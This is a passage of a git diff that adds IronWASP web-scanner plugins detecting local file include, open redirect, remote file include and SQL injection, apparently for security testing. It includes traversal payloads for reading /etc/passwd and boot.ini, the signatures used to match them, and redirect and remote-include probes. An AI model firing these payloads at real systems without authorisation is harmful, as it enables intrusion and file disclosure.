"bb..{0}".format(self.scnr.PreInjectionParameterValue) + payload_b1 = payload_b1.replace("", slash) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_b1)) + res_b1 = self.scnr.Inject(payload_b1) + req_b1 = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_b1.Code, res_b1.BodyLength)) + + self.scnr.Trace(">Analysing the responses for patterns...") + + #Analyzing the responses for patterns + sc = SimilarityChecker() + sc.Add("a", res_a) + sc.Add("a1", res_a1) + sc.Add("b", res_b) + sc.Add("b1", res_b1) + sc.Check() + + requests = [req_a, req_a1, req_b, req_b1] + responses = [res_a, res_a1, res_b, res_b1] + request_trigger_descs = [] + request_trigger_descs.append("This payload refers to the {0} file by doing a proper upward directory traversal of a dummy directory 'aa'. The payload is {1}".format(self.scnr.PreInjectionParameterValue, payload_a)) + request_trigger_descs.append("This payload does not do a proper upward directory traversal of the dummy directory 'aa' and so does not refer to the {0} file. The payload is {1}".format(self.scnr.PreInjectionParameterValue, payload_a1)) + request_trigger_descs.append("This payload refers to the {0} file by doing a proper upward directory traversal of a dummy directory 'bb'. The payload is {1}".format(self.scnr.PreInjectionParameterValue, payload_b)) + request_trigger_descs.append("This payload does not do a proper upward directory traversal of the dummy directory 'bb' and so does not refer to the {0} file. The payload is {1}".format(self.scnr.PreInjectionParameterValue, payload_b1)) + response_trigger_descs = [] + response_trigger_descs.append("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger after the next.") + response_trigger_descs.append("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger after the next.") + response_trigger_descs.append("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger before the previous.") + response_trigger_descs.append("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger before the previous.") + request_triggers = [payload_a, payload_a1, payload_b, payload_b1] + response_triggers = ["","","",""] + + for group in sc.StrictGroups: + if group.Count == 2: + if group.HasKey("a") and group.HasKey("b"): + self.scnr.Trace(">>Responses for traversal based payloads are similar to each other and are different from non-traversal based responses. Indicates presence of LFI.>") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], self.scnr.PreInjectionParameterValue, slash, self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(2) + return + + for group in sc.RelaxedGroups: + if group.Count == 2: + if group.HasKey("a") and group.HasKey("b"): + self.scnr.Trace(">>Responses for traversal based payloads are similar to each other and are different from non-traversal based responses. Indicates presence of LFI.>") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], self.scnr.PreInjectionParameterValue, slash, self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(1) + return + + self.scnr.Trace(">The responses did not fall in any patterns that indicate LFI") + + + def GetDownloadedFileInfo(self, res, file): + bs = res.BodyString.lower() + bbs = self.base_res.BodyString.lower() + + if file == "etc/passwd": + bs_c = bs.count("root:x:0:0:") + bbs_c = bbs.count("root:x:0:0:") + if bs_c > bbs_c: + return "root:x:0:0:" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("etc/passwd") > 0: + return "root:x:0:0:" + + bs_c = bs.count("root:!:x:0:0:") + bbs_c = bbs.count("root:!:x:0:0:") + if bs_c > bbs_c: + return "root:!:x:0:0:" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("passwd") > 0: + return "root:!:x:0:0:" + + elif file == "boot.ini": + bs_c_1 = bs.count("[boot loader]") + bbs_c_1 = bbs.count("[boot loader]") + bs_c_2 = bs.count("multi(") + bbs_c_2 = bbs.count("multi(") + if bs_c_1 > bbs_c_1 and bs_c_2 > bbs_c_2: + return "[boot loader]" + elif bs_c_1 == bbs_c_1 and bs_c_2 == bbs_c_2 and self.scnr.PreInjectionParameterValue.count("boot.ini") > 0: + return "[boot loader]" + + elif file == "Windows\\Win.ini": + bs_c = bs.count("for 16-bit app support") + bbs_c = bbs.count("for 16-bit app support") + if bs_c > bbs_c: + return "for 16-bit app support" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("Win.ini") > 0: + return "for 16-bit app support" + return "" + + def SetConfidence(self, conf): + if conf > self.confidence: + self.confidence = conf + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) > 0: + self.ReportLocalFileInclude() + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def ReportLocalFileInclude(self): + self.scnr.SetTraceTitle("Local File Include Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Local File Include Found" + pr.Summary = "Local File Include/Path Traversal been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + if self.confidence == 3: + pr.Confidence = FindingConfidence.High + elif self.confidence == 2: + pr.Confidence = FindingConfidence.Medium + else: + pr.Confidence = FindingConfidence.Low + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Local File Include is an issue where it is possible to load and view the raw contents of any files present on the web server. For more details on this issue refer >https://www.owasp.org/index.php/Path_Traversal>>>" + return Summary + + def GetEchoReason(self, payload, file_name, file_contents, slash, Trigger, Prefix): + payload = Tools.EncodeForTrace(payload) + #Reason = "IronWASP sent ../../../../../../../../../../../../../etc/passwd\000.txt as payload to the application. " + Reason = "IronWASP sent >{0}> as payload to the application. ".format(payload) + #Reason = Reason + "This payload tries to refer to the file /etc/passwd by traversing from the current directory with a series of ../. " + if Prefix == "file:": + Reason = Reason + "This payload tries to refer to the file >{0}> by using the >file:> protocol.".format(file_name) + else: + Reason = Reason + "This payload tries to refer to the file >{0}> by traversing from the current directory with a series of >..{1}>. ".format(file_name, slash) + #Reason = Reason + "If the application is vulnerable it will load the /etc/passwd file and send its contents in the response. " + Reason = Reason + "If the application is vulnerable it will load the >{0}> file and send its contents in the response. ".format(file_name) + #Reason = Reason + "The response that came back from the application after the payload was injected had the text root:x:0:0:, which is usually found in /etc/passwd files. This indicates that the /etc/passwd file was loaded and its content printed in the response.".format(payload, code) + Reason = Reason + "The response that came back from the application after the payload was injected had the text >{0}>, which is usually found in >{1}> files. This indicates that the >{1}> file was loaded and its content printed in the response.".format(file_contents, file_name) + + ReasonType = "Echo" + + #False Positive Check + #Reason = Reason + "To check if this was a valid case or a false positive you can first manually look at the response sent for this payload and determine if it actually contains the contents of the >/etc/passwd> file. " + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the response sent for this payload and determine if it actually contains the contents of the >{0}> file. ".format(file_name) + FalsePositiveCheck = FalsePositiveCheck + "After that you can try changing the file name to something else and see if the server prints those file contents." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, Trigger, FalsePositiveCheck) + return FR + + + def GetDiffReason(self, payloads, file_name, slash, trigger_start, trigger_count): + Reason = "IronWASP sent four payloads to the application.>" + ids = ["A", "B", "C", "D"] + #Payload A - aa/../abcd.jpg + #Payload B - aa../abcd.jpg + #Payload C - bb/../abcd.jpg + #Payload D - bb../abcd.jpg + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason +"Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + Reason = Reason + ">Payloads A and C are similar in nature. They both refer to the file >{0}> ".format(file_name) + Reason = Reason + "by including an imaginary directory in the path (aa & bb) but then also invalidating it by traversing upwards by one directory using >..{0}>. ".format(slash) + #Reason = Reason + "So these payloads must have the same effect as refering to the file >abcd.jpg> normally." + Reason = Reason + "So these payloads must have the same effect as referring to the file >{0}> normally.".format(file_name) + + #Reason = Reason + ">Payloads B and D are similar to each other but different from A & C. They refer to the file abcd.jpg inside invalid directories (aa & bb)." + Reason = Reason + ">Payloads B and D are similar to each other but different from A & C. They refer to the file >{0}> inside invalid directories (aa & bb).".format(file_name) + + Reason = Reason + ">If the application is vulnerable to Local File Include then the response for Payloads A & C must be similar to each other and different from responses for Payloads B&D. " + Reason = Reason + "The responses for the injected payloads were analyzed and it was found that Payloads A & C got a similar looking response and were also different from responses got from Payloads B & D, thereby indicating the presence of this vulnerability." + + #Trigger + trigger_ids = [] + for i in range(trigger_start + 1, trigger_start + trigger_count + 1): + trigger_ids.append(i) + + ReasonType = "Diff" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the responses received for Payloads A, B, C and D. Analyze these payloads and verify if indeed A & C got similar responses and were different from B & D. " + FalsePositiveCheck = FalsePositiveCheck + "You can also change the payloads for A & C by adding one more invalid directory and one more >..{0}> to invalidate that directory. ".format(slash) + FalsePositiveCheck = FalsePositiveCheck + "This must get the same response as the responses for A & C." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, trigger_ids, FalsePositiveCheck) + return FR + +p = LocalFileInclude() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/OpenRedirect.py b/Iron/bin/Debug/plugins/active/OpenRedirect.py new file mode 100644 index 0000000..7ea038e --- /dev/null +++ b/Iron/bin/Debug/plugins/active/OpenRedirect.py @@ -0,0 +1,198 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + +#Inherit from the base ActivePlugin class +class OpenRedirect(ActivePlugin): + + basic_redirect_urls = ["http://", "https://", "//", "", "5;URL='http://'"] + #taken from http://kotowicz.net/absolute/ + full_redirect_urls = [ "http://", "https://", "//", "http:\\\\", "https:\\\\", "\\\\", "/\\", "\\/", "\r//", "/ /", "http:", "https:", "http:/", "https:/", "http:////", "https:////", "://", ".:.", "", "5;URL='http://'"] + + def GetInstance(self): + p = OpenRedirect() + p.Name = "Open Redirect" + p.Description = "Active Plugin to check for Open Redirect vulnerability" + p.Version = "0.4" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.base_req = self.scnr.BaseRequest + self.reason = "" + self.CheckForOpenRedirection() + + def CheckForOpenRedirection(self): + self.scnr.Trace(">>Checking for Open Redirect:>") + urls = [] + uniq_str = "eziepwlivt" + self.scnr.Trace(">>Checking if In-Domain Redirect Happens:>") + self.scnr.RequestTrace(" Injected payload - {0}".format(uniq_str)) + res = self.scnr.Inject(uniq_str) + if self.IsRedirectedTo(uniq_str, res, False): + self.scnr.ResponseTrace(" ==> >In-domain redirect happens. Using full payload set!>") + self.scnr.SetTraceTitle("In-domain redirect happens", 5) + urls.extend(self.full_redirect_urls) + else: + self.scnr.ResponseTrace(" ==> In-domain redirect does not happen. Using only basic payload set") + urls.extend(self.basic_redirect_urls) + + host = self.base_req.Host + #remove the port number from hostname + try: + if host.index(":") > 0: + host = host[:host.index(":")] + except: + pass + self.scnr.Trace(">>Checking if Out-of-Domain Redirect Happens:>") + for url in urls: + for i in range(2): + h = "" + if i == 0: + h = "example.org" + else: + h = "{0}.example.org".format(host) + payload = url.replace("", h) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + redirected = "" + if payload.startswith("5;"): + redirect_url = "http://{0}".format(h) + redirected = self.IsRedirectedTo(redirect_url, res, False) + elif payload.startswith(h): + redirected = self.IsRedirectedTo(payload, res, True) + else: + redirected = self.IsRedirectedTo(payload, res, False) + if len(redirected) > 0: + self.reason = self.GetReason(payload, redirected) + self.scnr.ResponseTrace(" ==> >Redirects to Injected payload!>") + self.ReportOpenRedirect(payload, "The payload in this request contains an url to the domain {0}. The payload is {1}".format(h, payload), payload, self.GetResponseTriggerDesc(redirected, h)) + return + else: + self.scnr.ResponseTrace(" ==> No redirect to payload") + + + def IsRedirectedTo(self, ru, res, host_only): + if not host_only: + #check if redirection is happening through Location + if res.Headers.Has("Location"): + location_url = res.Headers.Get("Location") + if self.IsLocationRedirected(location_url, ru): + return "Location-Header" + + lus = res.Html.GetMetaContent("http-equiv", "Location") + if len(lus) > 0: + if self.IsLocationRedirected(lus[0], ru): + return "Location-Meta" + + #check if redirection is happening through Refresh + if res.Headers.Has("Refresh"): + refresh_url = res.Headers.Get("Refresh").lower() + if self.IsRefreshRedirected(refresh_url, ru): + return "Refresh-Header" + + rus = res.Html.GetMetaContent("http-equiv", "Refresh") + if len(rus) > 0: + if self.IsRefreshRedirected(rus[0], ru): + return "Refresh-Meta" + + #check if redirection is happening through JavaScript + #location.href="url" + #navigate("url") + #location="url" + #location.replace("url") + if res.BodyString.lower().count(ru) > 0: + JS = res.Html.GetJavaScript() + for script in JS: + script = script.lower() + if script.count(ru) > 0: + if host_only: + if re.search('location\.host\s*=\s*(\'|")\s*{0}'.format(re.escape(ru)), script): + return "JS-location.host" + else: + if re.search('location(\.href)*\s*=\s*(\'|")\s*{0}'.format(re.escape(ru)), script): + return "JS-location.href" + elif re.search('(navigate|location\.replace)\(\s*(\'|")\s*{0}'.format(re.escape(ru)), script): + return "JS-*" + return "" + + def IsLocationRedirected(self, location, redirect_url): + location = location.strip() + redirect_url = redirect_url.strip() + if location.lower().startswith(redirect_url.lower()): + return True + else: + return False + + def IsRefreshRedirected(self, refresh, redirect_url): + refresh = refresh.strip() + redirect_url = redirect_url.strip() + r_parts = refresh.split(";", 1) + if len(r_parts) == 2: + r_url = r_parts[1].lower().strip().lstrip("url=").strip().strip("'").strip('"') + if r_url.startswith(redirect_url.lower()): + return True + return False + + def ReportOpenRedirect(self, req_trigger, req_trigger_desc, res_trigger, res_trigger_desc): + self.scnr.SetTraceTitle("Open Redirect Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Open Redirect Found" + pr.Summary = "Open redirect been detected in the '{0}' parameter of the {1} section of the request. {2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + pr.AddReason(self.reason) + pr.Triggers.Add(req_trigger, req_trigger_desc, self.scnr.InjectedRequest, res_trigger, res_trigger_desc, self.scnr.InjectionResponse) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Open Redirect is an issue where it is possible to redirect the user to any arbitrary website from the vulnerable site. For more details on this issue refer >http://cwe.mitre.org/data/definitions/601.html>>>" + return Summary + + def GetReason(self, payload, redir_type): + payload = Tools.EncodeForTrace(payload) + + #Reason = Reason + "IronWASP sent http://vulnsite.example.com as payload to the application. The response that came back from the application to this payload had" + Reason = "IronWASP sent >{0}> as payload to the application. The response that came back from the application to this payload had ".format(payload) + + if redir_type == "Location-Header": + Reason = Reason + "the value >{0}> in its 'Location' header.".format(payload) + elif redir_type == "Location-Meta": + Reason = Reason + "the value >{0}> in its meta http-equiv tag for 'Location'. This is equivalent to having this value in the 'Location' header.".format(payload) + elif redir_type == "Refresh-Header": + Reason = Reason + "the value >{0}> in its 'Refresh' header.".format(payload) + elif redir_type == "Refresh-Meta": + Reason = Reason + "the value >{0}> in its meta http-equiv tag for 'Refresh'. This is equivalent to having this value in the 'Refresh' header.".format(payload) + elif redir_type.startswith("JS"): + Reason = Reason + "the value >{0}> inside JavaScript of the page in such a way that it would cause a redirection to this value.".format(payload) + + ReasonType = redir_type + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually send this payload from the browser and observe is the page is actually being redirect outside. If the browser does not perform a redirect then observe the HTML source of the page and try to identify why the page does not redirect inspite of the payload URL occurring in a section of the page that would trigger a redirect." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, 1, FalsePositiveCheck) + return FR + + def GetResponseTriggerDesc(self, redir_type, domain): + if redir_type == "Location-Header": + return "This response contains a redirect to the domain {0} in its Location header. This redirect has been caused by the payload.".format(domain) + elif redir_type == "Location-Meta": + return "This response contains a redirect to the domain {0} in its meta http-equiv tag for 'Location'. This redirect has been caused by the payload.".format(domain) + elif redir_type == "Refresh-Header": + return "This response contains a redirect to the domain {0} in its Refresh header. This redirect has been caused by the payload.".format(domain) + elif redir_type == "Refresh-Meta": + return "This response contains a redirect to the domain {0} in its meta http-equiv tag for 'Refresh'. This redirect has been caused by the payload.".format(domain) + elif redir_type.startswith("JS"): + return "This response contains a redirect to the domain {0} in its JavaScript code. This redirect has been caused by the payload.".format(domain) + + return "This response contains a redirect to the domain {0}. This redirect has been caused by the payload.".format(domain) + +p = OpenRedirect() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/RemoteFileInclude.py b/Iron/bin/Debug/plugins/active/RemoteFileInclude.py new file mode 100644 index 0000000..d45e12a --- /dev/null +++ b/Iron/bin/Debug/plugins/active/RemoteFileInclude.py @@ -0,0 +1,205 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + +#Inherit from the base ActivePlugin class +class RemoteFileInclude(ActivePlugin): + + prefixes = ["", "http://", "https://"] + suffixes = ["", "/", "/a"] + + def GetInstance(self): + p = RemoteFileInclude() + p.Name = "Remote File Include" + p.Description = "Active Plugin to check for Remote File Include vulnerabilities" + p.Version = "0.5" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.confidence = 0 + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForRemoteFileInclude() + + def CheckForRemoteFileInclude(self): + self.scnr.Trace(">>Checking for Remote File Include:>") + self.CheckForEchoBasedRemoteFileInclude() + self.CheckForTimeBasedRemoteFileInclude() + self.AnalyzeTestResult() + + def CheckForEchoBasedRemoteFileInclude(self): + self.scnr.Trace(">>Checking for Remote File Include with Echo:>") + for p in self.prefixes: + for s in self.suffixes: + payload = "{0}www.iana.org{1}".format(p, s) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.BodyString.count("IANA is responsible for coordinating the Internet") > 0: + self.AddToTriggers(payload, "The payload in this request refers to the home page of iana.org. The payload is {0}".format(payload), "IANA is responsible for coordinating the Internet", "This response contains contents from the home page of iana.org. This was caused by the payload.") + self.scnr.ResponseTrace(" ==> >Response includes content from http://www.iana.org/. Indicates RFI>") + self.SetConfidence(3) + reason = self.GetEchoReason(payload, "IANA is responsible for coordinating the Internet", self.TriggerCount) + self.reasons.append(reason) + else: + self.scnr.ResponseTrace(" ==> Response does not seem to contain content from http://www.iana.org/.") + + def CheckForTimeBasedRemoteFileInclude(self): + self.scnr.Trace(">>Checking for Remote File Include with Time Delay:>") + self.IsResponseTimeConsistent = True + for p in self.prefixes: + for s in self.suffixes: + sd = self.GetUniqueSubdomain() + payload = "{0}.example.org{1}".format(p, s) + if self.IsResponseTimeConsistent: + self.CheckForRemoteFileIncludeWithSubDomainDelay(payload) + else: + break + + def CheckForRemoteFileIncludeWithSubDomainDelay(self, payload_raw): + worked = 0 + for ii in range(4): + res_times = [] + if worked == 2: + self.SetConfidence(1) + return + sub_domain = str(self.GetUniqueSubdomain()) + payload = payload_raw.replace("", sub_domain) + first_time = 0 + last_res_time = 0 + for i in range(4): + if i == 0: + self.scnr.Trace(">>Sending First Request with Payload - {0}:>".format(payload)) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + res_times.append(res.RoundTrip) + if i==0: + req_current = self.scnr.InjectedRequest + res_current = res + first_time = res.RoundTrip + self.scnr.ResponseTrace(" ==> Response time is {0}ms. This will be treated as the base time.".format(res.RoundTrip)) + else: + if i == 1: + last_res_time = res.RoundTrip + else: + if res.RoundTrip > (last_res_time + 150) or res.RoundTrip < (last_res_time - 150): + self.IsResponseTimeConsistent = False + self.scnr.ResponseTrace(">>Response times are inconsistent, terminating time based RFI check.>") + return + if res.RoundTrip >= first_time - 300: + self.scnr.ResponseTrace(" ==> Response time is {0}ms which is not 300ms lower than base time. Not an indication of RFI".format(res.RoundTrip)) + break + else: + self.scnr.ResponseTrace(" ==> Response time is {0}ms which is 300ms lower than base time. If this is repeated then it could mean RFI".format(res.RoundTrip)) + if i == 3: + worked = worked + 1 + self.scnr.SetTraceTitle("RFI Time Delay Observed Once", 5) + if worked == 2: + self.RequestTriggers.append(payload) + self.RequestTriggerDescs.append("The payload in this request refers to an non-existent domain {0}.example.org. The payload is {1}.".format(sub_domain, payload)) + self.ResponseTriggers.append("") + self.ResponseTriggerDescs.append("The first time this payload was sent the response took longer to come back. In subsequent attempts to send the same payload, including this one, the response came back much faster.") + self.TriggerRequests.append(req_current) + self.TriggerResponses.append(res_current) + self.scnr.Trace(">>Got a delay in first request with payload - {0}. The three requests after that with the same payload took 300ms less. Infering that this is due to DNS caching on the server-side this is a RFI!>".format(payload)) + reason = self.GetDelayReason(payload, res_times, "{0}.example.org".format(sub_domain), self.TriggerCount + 1) + self.reasons.append(reason) + + def GetUniqueSubdomain(self): + sd = "{0}r{1}".format(str(self.scnr.ID), Tools.GetRandomNumber(1, 10000)) + return sd + + def SetConfidence(self, conf): + if conf > self.confidence: + self.confidence = conf + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) > 0: + self.ReportRemoteFileInclude() + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def ReportRemoteFileInclude(self): + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Remote File Include Found" + #pr.Summary = "Remote File Include been detected in the '{0}' parameter of the {1} section of the request.>This was tested by injecting a payload with a unique domain name, then time taken to fetch the response is noted. If subsequent requests with the same payload return quicker then it is inferred that DNS cachcing of the domain name in the payload by the server has sped up the response times.>>>Test Trace:>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.scnr.GetTrace()) + pr.Summary = "Remote File Include been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + if self.confidence == 3: + pr.Confidence = FindingConfidence.High + elif self.confidence == 2: + pr.Confidence = FindingConfidence.Medium + else: + pr.Confidence = FindingConfidence.Low + self.scnr.AddFinding(pr) + self.scnr.SetTraceTitle("Remote File Include",10) + + def GetSummary(self): + Summary = "Remote File Include is an issue where it is possible execute or load contents from a file located on some remote web server through the target application. For more details on this issue refer >http://en.wikipedia.org/wiki/File_inclusion_vulnerability>>>" + return Summary + + def GetEchoReason(self, payload, echo_content, Trigger): + payload = Tools.EncodeForTrace(payload) + #Reason = "IronWASP sent http://www.iana.org/a as payload to the application. This payload refers to the home page of IANA. ".format(payload) + Reason = "IronWASP sent >{0}> as payload to the application. This payload refers to the home page of IANA. ".format(payload) + #Reason = Reason + "The response that came back for this payload had the string IANA is responsible for coordinating the Internet. ".format(payload) + Reason = Reason + "The response that came back for this payload had the string >{0}>. ".format(echo_content) + Reason = Reason + "This string is found in the home page of IANA. This indicates that the application fetched the home page of IANA and returned it in the response, which is RFI." + + ReasonType = "Echo" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the response sent for this payload and determine if it actually contains the contents of the IANA website. After that you can try loading contents of other URLs and check if they get added in the response." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, Trigger, FalsePositiveCheck) + return FR + + def GetDelayReason(self, payload, res_times, domain, trigger): + payload = Tools.EncodeForTrace(payload) + #Reason = "IronWASP sent http://abcd1234.example.org/a four times to the application. The first time the payload was sent the response came back in 789ms. " + Reason = "IronWASP sent >{0}> four times to the application. The first time the payload was sent the response came back in >{1}ms>. ".format(payload, res_times[0]) + #Reason = Reason + "The second, third and fourth time the responses came back in >204ms>, >140ms> and >134ms> respectively. ".format(res_times[1], res_times[2], res_times[3]) + Reason = Reason + "The second, third and fourth time the responses came back in >{0}ms>, >{1}ms> and >{2}ms> respectively. ".format(res_times[1], res_times[2], res_times[3]) + Reason = Reason + "The second, third and fourth responses came back atleast 300ms quicker than the first one. " + #Reason = Reason + "abcd1234.example.org is an invalid subdomain. " + Reason = Reason + ">{0}> is a non-existent subdomain. If the server had RFI vulnerability then it would try to connect to this non-existent domain. ".format(domain) + Reason = Reason + "The first time the DNS resolution would have taken extra time. Subsequent attempts to connect to the same domain would be quicker due to DNS caching. Since similar behaviour was observed for the payload this indicates a RFI vulnerability." + + ReasonType = "TimeDelay" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually send the same payload but by changing the domain name to some other non-existent domain. " + FalsePositiveCheck = FalsePositiveCheck + "Send this modified payload multiple times and check if the first time takes about 300ms longer than the subsequent attempts. " + FalsePositiveCheck = FalsePositiveCheck + "If this behaviour is observed repeatedly then this is mostly likely a genuine RFI.>" + FalsePositiveCheck = FalsePositiveCheck + "Ofcourse the most concrete way to check this is to refer to a page on one of your public web servers in the payload and check if the target sever fetched that page." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, trigger, FalsePositiveCheck) + return FR + +p = RemoteFileInclude() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/SQLInjection.py b/Iron/bin/Debug/plugins/active/SQLInjection.py new file mode 100644 index 0000000..b68bfd5 --- /dev/null +++ b/Iron/bin/Debug/plugins/active/SQLInjection.py @@ -0,0 +1,990 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + +#Inherit from the base ActivePlugin class +class SQLInjection(ActivePlugin): + + error_regex_raw = [] + error_regex = [] + time_check = [] + + def GetInstance(self): + p = SQLInjection() + p.Name = "SQL Injection" + p.Description = "Plugin to discover SQL Injection vulnerabilities" + p.Version = "0.6" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, Scnr): + + self.Scnr = Scnr + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.Confidence = 0 + self.base_response = self.Scnr.BaseResponse + + self.ErrorCount = [0,0,0] + self.Errors = [] + self.ErrorTriggerCount = 0 + + self.Scnr.Trace(">>Checking for SQL Injection:>") + overall_error_score = self.CheckForErrorBasedSQLi() + overall_blind_score = self.CheckForBlindSQLi() + + overall_score = overall_error_score + overall_blind_score + + if len(self.RequestTriggers) == self.ErrorTriggerCount and (self.ErrorCount[0] + self.ErrorCount[1] + self.ErrorCount[2]) > 0 and (self.ErrorCount[0] == self.ErrorCount[1] == self.ErrorCount[2]): + self.ReportSQLError(self.Errors) + elif overall_score > 7: + self.ReportSQLInjection(FindingConfidence.High) + elif overall_score > 4: + self.ReportSQLInjection(FindingConfidence.Medium) + elif overall_score > 3: + self.ReportSQLInjection(FindingConfidence.Low) + #overall_blind_score = self.CheckForBlindSQLi(Request, Scanner) + #overall_score = overall_error_score + overall_blind_score + #if(overall_score == 0): + # return + def CheckForErrorBasedSQLi(self): + self.Scnr.Trace(">>Checking for Error based Injection:>") + self.Scnr.Trace(">Sending a request with a normal value to get a Error baseline") + self.Scnr.RequestTrace(" Injected 123 